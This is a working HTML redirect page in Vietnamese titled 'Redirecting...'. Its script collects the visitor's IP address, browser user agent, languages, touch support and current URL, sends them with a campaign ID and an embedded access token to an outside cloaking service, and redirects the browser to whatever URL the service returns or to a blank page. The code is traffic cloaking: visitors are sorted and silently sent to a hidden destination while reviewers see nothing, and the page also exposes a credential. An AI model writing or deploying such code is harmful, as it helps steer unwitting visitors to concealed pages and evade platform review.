<!DOCTYPE html>

<html lang="vi">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Redirecting...</title>

</head>

<body style="background: #111; color: #fff; display: flex; justify-content: center; align-items: center; height: 100vh; font-family: sans-serif;">

    <p>Đang chuyển hướng, vui lòng đợi...</p>


<script>

async function checkTraffic() {

    try {

        let clientIP = '';

        try {

            const ipResponse = await fetch('https://api.ipify.org?format=json');

            const ipData = await ipResponse.json();

            clientIP = ipData.ip || '';

        } catch (ipError) {

            console.warn('Could not get client IP:', ipError);

        }

 

        let metaTag = document.querySelector('meta[name="referrer"]');

        if (!metaTag) {

            metaTag = document.createElement('meta');

            metaTag.name = 'referrer';

            document.head.appendChild(metaTag);

        }

        metaTag.content = 'origin';


        const params = {

            campaign_id: '658',

            client_token: '221555331:rebahrwBCUvRuf5QNEnnAqMhIxF3FfDGEicCJ2LkxmBHjNUMA4eVoO84PvYwYqjQ',

            ip: clientIP,

            user_agent: navigator.userAgent,

            accept_language: navigator.languages ? navigator.languages.join(',') : navigator.language,

            current_url: window.location.href,

            max_touch_points: String(navigator.maxTouchPoints || 0),

        };


        const response = await fetch('https://api.cloakerly.com/v8/?' + new URLSearchParams(params).toString());

        const data = (await response.text()).trim();

         

        if (data.startsWith('http')) {

            window.top.location.href = data;

        } else if (data === 'true') {

            console.log('Traffic allowed');

        } else {

            window.top.location.href = 'about:blank';

        }

    } catch (error) {

        console.error('cloakerly API error:', error);

    }

}


checkTraffic();

</script>


</body>

</html>